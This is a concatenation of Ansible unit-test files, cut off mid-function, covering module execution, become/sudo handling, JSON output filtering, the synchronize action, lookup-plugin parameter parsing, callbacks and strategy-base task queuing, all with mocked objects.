        action_base._compute_environment_string.return_value = ''
        action_base._connection.has_pipelining = True
        action_base._low_level_execute_command.return_value = dict(stdout='{"rc": 0, "stdout": "ok"}')
        self.assertEqual(action_base._execute_module(module_name=None, module_args=None), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))
        self.assertEqual(action_base._execute_module(module_name='foo', module_args=dict(z=9, y=8, x=7), task_vars=dict(a=1)), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))

        # test with needing/removing a remote tmp path
        action_base._configure_module.return_value = ('old', '#!/usr/bin/python', 'this is the module data', 'path')
        action_base._late_needs_tmp_path.return_value = True
        action_base._make_tmp_path.return_value = '/the/tmp/path'
        self.assertEqual(action_base._execute_module(), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))

        action_base._configure_module.return_value = ('non_native_want_json', '#!/usr/bin/python', 'this is the module data', 'path')
        self.assertEqual(action_base._execute_module(), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))

        play_context.become = True
        play_context.become_user = 'foo'
        self.assertEqual(action_base._execute_module(), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))

        # test an invalid shebang return
        action_base._configure_module.return_value = ('new', '', 'this is the module data', 'path')
        action_base._late_needs_tmp_path.return_value = False
        self.assertRaises(AnsibleError, action_base._execute_module)

        # test with check mode enabled, once with support for check
        # mode and once with support disabled to raise an error
        play_context.check_mode = True
        action_base._configure_module.return_value = ('new', '#!/usr/bin/python', 'this is the module data', 'path')
        self.assertEqual(action_base._execute_module(), dict(_ansible_parsed=True, rc=0, stdout="ok", stdout_lines=['ok']))
        action_base._supports_check_mode = False
        self.assertRaises(AnsibleError, action_base._execute_module)

    def test_action_base_sudo_only_if_user_differs(self):
        fake_loader = MagicMock()
        fake_loader.get_basedir.return_value = os.getcwd()
        play_context = PlayContext()
        action_base = DerivedActionBase(None, None, play_context, fake_loader, None, None)
        action_base._connection = MagicMock(exec_command=MagicMock(return_value=(0, '', '')))
        action_base._connection._shell = MagicMock(append_command=MagicMock(return_value=('JOINED CMD')))

        play_context.become = True
        play_context.become_user = play_context.remote_user = 'root'
        play_context.make_become_cmd = MagicMock(return_value='CMD')

        action_base._low_level_execute_command('ECHO', sudoable=True)
        play_context.make_become_cmd.assert_not_called()

        play_context.remote_user = 'apo'
        action_base._low_level_execute_command('ECHO', sudoable=True, executable='/bin/csh')
        play_context.make_become_cmd.assert_called_once_with("ECHO", executable='/bin/csh')

        play_context.make_become_cmd.reset_mock()

        become_allow_same_user = C.BECOME_ALLOW_SAME_USER
        C.BECOME_ALLOW_SAME_USER = True
        try:
            play_context.remote_user = 'root'
            action_base._low_level_execute_command('ECHO SAME', sudoable=True)
            play_context.make_become_cmd.assert_called_once_with("ECHO SAME", executable=None)
        finally:
            C.BECOME_ALLOW_SAME_USER = become_allow_same_user

# Note: Using nose's generator test cases here so we can't inherit from
# unittest.TestCase
class TestFilterNonJsonLines(object):
    parsable_cases = (
            (u'{"hello": "world"}', u'{"hello": "world"}'),
            (u'{"hello": "world"}\n', u'{"hello": "world"}'),
            (u'{"hello": "world"} ', u'{"hello": "world"} '),
            (u'{"hello": "world"} \n', u'{"hello": "world"} '),
            (u'Message of the Day\n{"hello": "world"}', u'{"hello": "world"}'),
            (u'{"hello": "world"}\nEpilogue', u'{"hello": "world"}'),
            (u'Several\nStrings\nbefore\n{"hello": "world"}\nAnd\nAfter\n', u'{"hello": "world"}'),
            (u'{"hello": "world",\n"olá": "mundo"}', u'{"hello": "world",\n"olá": "mundo"}'),
            (u'\nPrecedent\n{"hello": "world",\n"olá": "mundo"}\nAntecedent', u'{"hello": "world",\n"olá": "mundo"}'),
            )

    unparsable_cases = (
            u'No json here',
            u'"olá": "mundo"',
            u'{"No json": "ending"',
            u'{"wrong": "ending"]',
            u'["wrong": "ending"}',
            )

    def check_filter_non_json_lines(self, stdout_line, parsed):
        eq_(parsed, ActionBase._filter_non_json_lines(stdout_line))

    def test_filter_non_json_lines(self):
        for stdout_line, parsed in self.parsable_cases:
            yield self.check_filter_non_json_lines, stdout_line, parsed

    @raises(ValueError)
    def check_unparsable_filter_non_json_lines(self, stdout_line):
        ActionBase._filter_non_json_lines(stdout_line)

    def test_unparsable_filter_non_json_lines(self):
        for stdout_line in self.unparsable_cases:
            yield self.check_unparsable_filter_non_json_lines, stdout_line







#!/usr/bin/env python

'''
(Epdb) pprint(DeepDiff(self.final_task_vars, out_task_vars), indent=2)
{ 'dic_item_added': set([u"root['ansible_python_interpreter']"]),
  'dic_item_removed': set([ u"root['hostvars']['127.0.0.1']",
                            u"root['hostvars']['::1']",
                            u"root['hostvars']['localhost']"]),
  'iterable_item_added': { u"root['hostvars']['el6host']['groups']['all'][1]": u'::1',
                           u"root['hostvars']['el6host']['groups']['ungrouped'][1]": u'::1',
                           u"root['vars']['hostvars']['el6host']['groups']['all'][1]": u'::1',
                           u"root['vars']['hostvars']['el6host']['groups']['ungrouped'][1]": u'::1'}}
'''

import json
import os
import sys
import unittest
import yaml

from pprint import pprint
from ansible import plugins
import ansible.plugins
from ansible.compat.tests.mock import patch, MagicMock
from ansible.plugins.action.synchronize import ActionModule

# Getting the incoming and outgoing task vars from the plugin's run method

'''
import copy
safe_vars = {}
for k,v in task_vars.iteritems():
    if k not in ['vars', 'hostvars']:
        safe_vars[k] = copy.deepcopy(v)
    else:    
        sdata = str(v)
        newv = eval(sdata)
        safe_vars[k] = newv

import json
with open('task_vars.json', 'wb') as f:
    f.write(json.dumps(safe_vars, indent=2))
'''




class TaskMock(object):
    args = {'src': u'/tmp/deleteme', 
            'dest': '/tmp/deleteme',
            'rsync_path': 'rsync'}
    async = None
    become = None
    become_user = None
    become_method = None

class StdinMock(object):
    shell = None

class ConnectionMock(object):
    ismock = True
    _play_context = None
    #transport = 'ssh'
    transport = None
    _new_stdin = StdinMock()

class PlayContextMock(object):
    shell = None
    private_key_file = None
    become = False
    become_user = 'root'
    become_method = None
    check_mode = False
    no_log = None
    diff = None
    remote_addr = None
    remote_user = None
    password = None

class ModuleLoaderMock(object):
    def find_plugin(self, module_name, mod_type):
        pass

class SharedLoaderMock(object):
    module_loader = ModuleLoaderMock()    

class SynchronizeTester(object):

    ''' A wrapper for mocking out synchronize environments '''

    task = TaskMock()
    connection = ConnectionMock()
    _play_context = PlayContextMock()
    loader = None
    templar = None
    shared_loader_obj = SharedLoaderMock()

    final_task_vars = None
    execute_called = False


    def _execute_module(self, module_name, task_vars=None):
        self.execute_called = True
        self.final_task_vars = task_vars
        return {}
    
    def runtest(self, fixturepath='fixtures/synchronize/basic'):

        metapath = os.path.join(fixturepath, 'meta.yaml')
        with open(metapath, 'rb') as f:
            fdata = f.read()
        test_meta = yaml.load(fdata)

        # load inital play context vars
        if '_play_context' in test_meta:
            if test_meta['_play_context']:
                self.task.args = {}
                for k,v in test_meta['_play_context'].items():
                    if v == 'None':
                        v = None
                    setattr(self._play_context, k, v)

        # load inital task context vars
        if '_task' in test_meta:
            if test_meta['_task']:
                self.task.args = {}
                for k,v in test_meta['_task'].items():
                    #import epdb; epdb.st()
                    if v == 'None':
                        v = None
                    setattr(self.task, k, v)

        # load inital task vars
        if 'task_args' in test_meta:
            if test_meta['task_args']:
                self.task.args = {}
                for k,v in test_meta['task_args'].items():
                    self.task.args[k] = v

        # load inital task vars
        invarspath = os.path.join(fixturepath, 
                test_meta.get('fixtures', {}).get('taskvars_in', 'taskvars_in.json'))
        with open(invarspath, 'rb') as f:
            fdata = f.read()
        fdata = fdata.decode("utf-8")    
        in_task_vars = json.loads(fdata)

        # load expected final task vars
        outvarspath = os.path.join(fixturepath, 
                test_meta.get('fixtures', {}).get('taskvars_out', 'taskvars_out.json'))
        with open(outvarspath, 'rb') as f:
            fdata = f.read()
        fdata = fdata.decode("utf-8")    
        out_task_vars = json.loads(fdata)

        # fixup the connection
        for k,v in test_meta['connection'].items():
            setattr(self.connection, k, v)

        # fixup the hostvars
        if test_meta['hostvars']:
            for k,v in test_meta['hostvars'].items():
                in_task_vars['hostvars'][k] = v

        # initalize and run the module
        SAM = ActionModule(self.task, self.connection, self._play_context, 
                           self.loader, self.templar, self.shared_loader_obj)
        SAM._execute_module = self._execute_module
        result = SAM.run(task_vars=in_task_vars)

        # run assertions
        for check in test_meta['asserts']:
            value = eval(check)
            #if not value:
            #    print(check, value)
            #    import epdb; epdb.st()
            assert value, check


class FakePluginLoader(object):
    mocked = True

    @staticmethod
    def get(transport, play_context, new_stdin):
        conn = ConnectionMock()
        conn.transport = transport
        conn._play_context = play_context
        conn._new_stdin = new_stdin
        return conn


class TestSynchronizeAction(unittest.TestCase):


    fixturedir = os.path.dirname(__file__)
    fixturedir = os.path.join(fixturedir, 'fixtures', 'synchronize')
    #print(basedir)


    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic(self):
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic_become(self):
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic_become'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic_become_cli(self):
        # --become on the cli sets _play_context.become
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic_become_cli'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic_vagrant(self):
        # simple vagrant example
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic_vagrant'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic_vagrant_sudo(self):
        # vagrant plus sudo
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic_vagrant_sudo'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_basic_vagrant_become_cli(self):
        # vagrant plus sudo
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'basic_vagrant_become_cli'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_delegate_remote(self):
        # delegate to other remote host
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'delegate_remote'))

    @patch('ansible.plugins.action.synchronize.connection_loader', FakePluginLoader)
    def test_delegate_remote_su(self):
        # delegate to other remote host with su enabled
        x = SynchronizeTester()
        x.runtest(fixturepath=os.path.join(self.fixturedir,'delegate_remote_su'))


if __name__ == "__main__":
    SynchronizeTester().runtest()






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest

from ansible.plugins.lookup.password import LookupModule, _parse_parameters, DEFAULT_LENGTH

DEFAULT_CHARS = sorted([u'ascii_letters', u'digits', u".,:-_"])

class TestPasswordLookup(unittest.TestCase):

    # Currently there isn't a new-style
    old_style_params_data = (
            # Simple case
            dict(term=u'/path/to/file',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),

            # Special characters in path
            dict(term=u'/path/with/embedded spaces and/file',
                filename=u'/path/with/embedded spaces and/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/with/equals/cn=com.ansible',
                filename=u'/path/with/equals/cn=com.ansible',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/with/unicode/くらとみ/file',
                filename=u'/path/with/unicode/くらとみ/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),
            # Mix several special chars
            dict(term=u'/path/with/utf 8 and spaces/くらとみ/file',
                filename=u'/path/with/utf 8 and spaces/くらとみ/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/with/encoding=unicode/くらとみ/file',
                filename=u'/path/with/encoding=unicode/くらとみ/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/with/encoding=unicode/くらとみ/and spaces file',
                filename=u'/path/with/encoding=unicode/くらとみ/and spaces file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=DEFAULT_CHARS)
                ),

            # Simple parameters
            dict(term=u'/path/to/file length=42',
                filename=u'/path/to/file',
                params=dict(length=42, encrypt=None, chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/to/file encrypt=pbkdf2_sha256',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt='pbkdf2_sha256', chars=DEFAULT_CHARS)
                ),
            dict(term=u'/path/to/file chars=abcdefghijklmnop',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=[u'abcdefghijklmnop'])
                ),
            dict(term=u'/path/to/file chars=digits,abc,def',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=sorted([u'digits', u'abc', u'def']))
                ),
            # Including comma in chars
            dict(term=u'/path/to/file chars=abcdefghijklmnop,,digits',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=sorted([u'abcdefghijklmnop', u',', u'digits']))
                ),
            dict(term=u'/path/to/file chars=,,',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=[u','])
                ),

            # Including = in chars
            dict(term=u'/path/to/file chars=digits,=,,',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=sorted([u'digits', u'=', u',']))
                ),
            dict(term=u'/path/to/file chars=digits,abc=def',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=sorted([u'digits', u'abc=def']))
                ),

            # Including unicode in chars
            dict(term=u'/path/to/file chars=digits,くらとみ,,',
                filename=u'/path/to/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=sorted([u'digits', u'くらとみ', u',']))
                ),

            # Including special chars in both path and chars
            # Special characters in path
            dict(term=u'/path/with/embedded spaces and/file chars=abc=def',
                filename=u'/path/with/embedded spaces and/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=[u'abc=def'])
                ),
            dict(term=u'/path/with/equals/cn=com.ansible chars=abc=def',
                filename=u'/path/with/equals/cn=com.ansible',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=[u'abc=def'])
                ),
            dict(term=u'/path/with/unicode/くらとみ/file chars=くらとみ',
                filename=u'/path/with/unicode/くらとみ/file',
                params=dict(length=DEFAULT_LENGTH, encrypt=None, chars=[u'くらとみ'])
                ),
            )

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_parse_parameters(self):
        for testcase in self.old_style_params_data:
            filename, params = _parse_parameters(testcase['term'])
            params['chars'].sort()
            self.assertEqual(filename, testcase['filename'])
            self.assertEqual(params, testcase['params'])






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.plugins.lookup.ini import _parse_params


class TestINILookup(unittest.TestCase):

    # Currently there isn't a new-style
    old_style_params_data = (
            # Simple case
            dict(term=u'keyA section=sectionA file=/path/to/file',
                expected=[u'keyA', u'section=sectionA', u'file=/path/to/file'],
                ),
            dict(term=u'keyB section=sectionB with space file=/path/with/embedded spaces and/file',
                expected=[u'keyB', u'section=sectionB with space', u'file=/path/with/embedded spaces and/file'],
                ),
            dict(term=u'keyC section=sectionC file=/path/with/equals/cn=com.ansible',
                expected=[u'keyC', u'section=sectionC', u'file=/path/with/equals/cn=com.ansible'],
                ),
            dict(term=u'keyD section=sectionD file=/path/with space and/equals/cn=com.ansible',
                expected=[u'keyD', u'section=sectionD', u'file=/path/with space and/equals/cn=com.ansible'],
                ),
            dict(term=u'keyE section=sectionE file=/path/with/unicode/くらとみ/file',
                expected=[u'keyE', u'section=sectionE', u'file=/path/with/unicode/くらとみ/file'],
                ),
            dict(term=u'keyF section=sectionF file=/path/with/utf 8 and spaces/くらとみ/file',
                expected=[u'keyF', u'section=sectionF', u'file=/path/with/utf 8 and spaces/くらとみ/file'],
                ),
            )


    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_parse_parameters(self):
        for testcase in self.old_style_params_data:
            #print(testcase)
            params = _parse_params(testcase['term'])
            self.assertEqual(params, testcase['expected'])






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Chris Meyers <chris.meyers.fsu@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from six import PY3
from copy import deepcopy

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, mock_open

from ansible.plugins.callback import CallbackBase
import ansible.plugins.callback as callish

class TestCopyResultExclude(unittest.TestCase):
    def setUp(self):
        class DummyClass():
            def __init__(self):
                self.bar = [ 1, 2, 3 ]
                self.a = {
                    "b": 2,
                    "c": 3,
                }
                self.b = {
                    "c": 3,
                    "d": 4,
                }
        self.foo = DummyClass()
        self.cb = CallbackBase()

    def tearDown(self):
        pass

    def test_copy_logic(self):
        res = self.cb._copy_result_exclude(self.foo, ())
        self.assertEqual(self.foo.bar, res.bar)
    
    def test_copy_deep(self):
        res = self.cb._copy_result_exclude(self.foo, ())
        self.assertNotEqual(id(self.foo.bar), id(res.bar))

    def test_no_exclude(self):
        res = self.cb._copy_result_exclude(self.foo, ())
        self.assertEqual(self.foo.bar, res.bar)
        self.assertEqual(self.foo.a, res.a)
        self.assertEqual(self.foo.b, res.b)
    
    def test_exclude(self):
        res = self.cb._copy_result_exclude(self.foo, ['bar', 'b'])
        self.assertIsNone(res.bar)
        self.assertIsNone(res.b)
        self.assertEqual(self.foo.a, res.a)

    def test_result_unmodified(self):
        bar_id = id(self.foo.bar)
        a_id = id(self.foo.a)
        res = self.cb._copy_result_exclude(self.foo, ['bar', 'a'])

        self.assertEqual(self.foo.bar, [ 1, 2, 3 ])
        self.assertEqual(bar_id, id(self.foo.bar))

        self.assertEqual(self.foo.a, dict(b=2, c=3))
        self.assertEqual(a_id, id(self.foo.a))

        self.assertRaises(AttributeError, self.cb._copy_result_exclude, self.foo, ['a', 'c', 'bar'])







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import uuid

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.plugins.strategy import StrategyBase
from ansible.executor.process.worker import WorkerProcess
from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.executor.task_result import TaskResult
from ansible.playbook.block import Block
from ansible.playbook.handler import Handler
from ansible.inventory.host import Host

from six.moves import queue as Queue
from units.mock.loader import DictDataLoader

class TestStrategyBase(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_strategy_base_init(self):
        mock_tqm = MagicMock(TaskQueueManager)
        mock_tqm._final_q = MagicMock()
        mock_tqm._options = MagicMock()
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}
        strategy_base = StrategyBase(tqm=mock_tqm)

    def test_strategy_base_run(self):
        mock_tqm = MagicMock(TaskQueueManager)
        mock_tqm._final_q = MagicMock()
        mock_tqm._stats = MagicMock()
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}
        mock_tqm.send_callback.return_value = None

        for attr in ('RUN_OK', 'RUN_ERROR', 'RUN_FAILED_HOSTS', 'RUN_UNREACHABLE_HOSTS'):
            setattr(mock_tqm, attr, getattr(TaskQueueManager, attr))

        mock_iterator  = MagicMock()
        mock_iterator._play = MagicMock()
        mock_iterator._play.handlers = []

        mock_play_context = MagicMock()

        mock_tqm._failed_hosts = dict()
        mock_tqm._unreachable_hosts = dict()
        mock_tqm._options = MagicMock()
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}
        strategy_base = StrategyBase(tqm=mock_tqm)

        mock_host = MagicMock()
        mock_host.name = 'host1'

        self.assertEqual(strategy_base.run(iterator=mock_iterator, play_context=mock_play_context), mock_tqm.RUN_OK)
        self.assertEqual(strategy_base.run(iterator=mock_iterator, play_context=mock_play_context, result=TaskQueueManager.RUN_ERROR), mock_tqm.RUN_ERROR)
        mock_tqm._failed_hosts = dict(host1=True)
        mock_iterator.get_failed_hosts.return_value = [mock_host]
        self.assertEqual(strategy_base.run(iterator=mock_iterator, play_context=mock_play_context, result=False), mock_tqm.RUN_FAILED_HOSTS)
        mock_tqm._unreachable_hosts = dict(host1=True)
        mock_iterator.get_failed_hosts.return_value = []
        self.assertEqual(strategy_base.run(iterator=mock_iterator, play_context=mock_play_context, result=False), mock_tqm.RUN_UNREACHABLE_HOSTS)

    def test_strategy_base_get_hosts(self):
        mock_hosts = []
        for i in range(0, 5):
            mock_host = MagicMock()
            mock_host.name = "host%02d" % (i+1)
            mock_host.has_hostkey = True
            mock_hosts.append(mock_host)

        mock_inventory = MagicMock()
        mock_inventory.get_hosts.return_value = mock_hosts

        mock_tqm = MagicMock()
        mock_tqm._final_q = MagicMock()
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}
        mock_tqm.get_inventory.return_value = mock_inventory

        mock_play = MagicMock()
        mock_play.hosts = ["host%02d" % (i+1) for i in range(0, 5)]

        strategy_base = StrategyBase(tqm=mock_tqm)

        mock_tqm._failed_hosts = []
        mock_tqm._unreachable_hosts = []
        self.assertEqual(strategy_base.get_hosts_remaining(play=mock_play), mock_hosts)
        
        mock_tqm._failed_hosts = ["host01"]
        self.assertEqual(strategy_base.get_hosts_remaining(play=mock_play), mock_hosts[1:])
        self.assertEqual(strategy_base.get_failed_hosts(play=mock_play), [mock_hosts[0]])

        mock_tqm._unreachable_hosts = ["host02"]
        self.assertEqual(strategy_base.get_hosts_remaining(play=mock_play), mock_hosts[2:])

    @patch.object(WorkerProcess, 'run')
    def test_strategy_base_queue_task(self, mock_worker):
        def fake_run(self):
            return

        mock_worker.run.side_effect = fake_run

        fake_loader = DictDataLoader()
        mock_var_manager = MagicMock()
        mock_host = MagicMock()
        mock_host.has_hostkey = True
        mock_inventory = MagicMock()
        mock_options = MagicMock()
        mock_options.module_path = None
        
        tqm = TaskQueueManager(
            inventory=mock_inventory,
            variable_manager=mock_var_manager,
            loader=fake_loader,
            options=mock_options,
            passwords=None,
        )
        tqm._initialize_processes(3)
        tqm.hostvars = dict()

        try:
            strategy_base = StrategyBase(tqm=tqm)
            strategy_base._queue_task(host=mock_host, task=MagicMock(), task_vars=dict(), play_context=MagicMock())
            self.assertEqual(strategy_base._cur_worker, 1)
            self.assertEqual(strategy_base._pending_results, 1)
            strategy_base._queue_task(host=mock_host, task=MagicMock(), task_vars=dict(), play_context=MagicMock())
            self.assertEqual(strategy_base._cur_worker, 2)
            self.assertEqual(strategy_base._pending_results, 2)
            strategy_base._queue_task(host=mock_host, task=MagicMock(), task_vars=dict(), play_context=MagicMock())
            self.assertEqual(strategy_base._cur_worker, 0)
            self.assertEqual(strategy_base._pending_results, 3)
        finally:
            tqm.cleanup()
        

    def test_strategy_base_process_pending_results(self):
        mock_tqm = MagicMock()
        mock_tqm._terminated = False
        mock_tqm._failed_hosts = dict()
        mock_tqm._unreachable_hosts = dict()
        mock_tqm.send_callback.return_value = None
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}

        queue_items = []
        def _queue_empty(*args, **kwargs):
            return len(queue_items) == 0
        def _queue_get(*args, **kwargs):
            if len(queue_items) == 0:
                raise Queue.Empty
            else:
                return queue_items.pop()

        mock_queue = MagicMock()
        mock_queue.empty.side_effect = _queue_empty
        mock_queue.get.side_effect = _queue_get
        mock_tqm._final_q = mock_queue

        mock_tqm._stats = MagicMock()
        mock_tqm._stats.increment.return_value = None
        
        mock_play = MagicMock()

        mock_host = MagicMock()
        mock_host.name = 'test01'
        mock_host.vars = dict()
        mock_host.has_hostkey = True

        mock_task = MagicMock()
        mock_task._role = None
        mock_task.ignore_errors = False
        mock_task._uuid = uuid.uuid4()
        mock_task.loop = None

        mock_handler_task = MagicMock(Handler)
        mock_handler_task.name = 'test handler'
        mock_handler_task.action = 'foo'
        mock_handler_task.get_name.return_value = "test handler"
        mock_handler_task.has_triggered.return_value = False

        mock_iterator = MagicMock()
        mock_iterator._play = mock_play
        mock_iterator.mark_host_failed.return_value = None
        mock_iterator.get_next_task_for_host.return_value = (None, None)
        mock_iterator.get_original_task.return_value = mock_task

        mock_handler_block = MagicMock()
        mock_handler_block.block = [mock_handler_task]
        mock_handler_block.rescue = []
        mock_handler_block.always = []
        mock_play.handlers = [mock_handler_block]

        mock_tqm._notified_handlers = {mock_handler_task: []}
        mock_tqm._listening_handlers = {}

        mock_group = MagicMock()
        mock_group.add_host.return_value = None

        def _get_host(host_name):
            if host_name == 'test01':
                return mock_host
            return None
        def _get_group(group_name):
            if group_name in ('all', 'foo'):
                return mock_group
